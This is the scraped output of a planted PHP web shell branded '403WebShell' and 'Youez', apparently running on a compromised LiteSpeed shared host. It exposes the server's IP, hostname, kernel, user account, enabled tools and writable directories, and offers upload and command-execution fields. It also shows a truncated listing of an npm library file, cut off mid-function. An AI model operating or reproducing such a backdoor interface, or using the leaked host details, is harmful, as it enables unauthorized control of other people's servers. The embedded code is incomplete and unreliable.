Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.144.30.14
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/node_modules/npm/node_modules/slide/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/node_modules/npm/node_modules/slide/lib/async-map-ordered.js
throw new Error("TODO: Not yet implemented.")

/*
usage:

Like asyncMap, but only can take a single cb, and guarantees
the order of the results.
*/

module.exports = asyncMapOrdered

function asyncMapOrdered (list, fn, cb_) {
  if (typeof cb_ !== "function") throw new Error(
    "No callback provided to asyncMapOrdered")

  if (typeof fn !== "function") throw new Error(
    "No map function provided to asyncMapOrdered")

  if (list === undefined || list === null) return cb_(null, [])
  if (!Array.isArray(list)) list = [list]
  if (!list.length) return cb_(null, [])

  var errState = null
    , l = list.length
    , a = l
    , res = []
    , resCount = 0
    , maxArgLen = 0

  function cb (index) { return function () {
    if (errState) return
    var er = arguments[0]
    var argLen = arguments.length
    maxArgLen = Math.max(maxArgLen, argLen)
    res[index] = argLen === 1 ? [er] : Array.apply(null, arguments)

    // see if any new things have been added.
    if (list.length > l) {
      var newList = list.slice(l)
      a += (list.length - l)
      var oldLen = l
      l = list.length
      process.nextTick(function () {
        newList.forEach(function (ar, i) { fn(ar, cb(i + oldLen)) })
      })
    }

    if (er || --a === 0) {
      errState = er
      cb_.apply(null, [errState].concat(flip(res, resCount, maxArgLen)))
    }
  }}
  // expect the supplied cb function to be called
  // "n" times for each thing in the array.
  list.forEach(function (ar) {
    steps.forEach(function (fn, i) { fn(ar, cb(i)) })
  })
}

function flip (res, resCount, argLen) {
  var flat = []
  // res = [[er, x, y], [er, x1, y1], [er, x2, y2, z2]]
  // return [[x, x1, x2], [y, y1, y2], [undefined, undefined, z2]]
  

Youez - 2016 - github.com/yon3zu
LinuXploit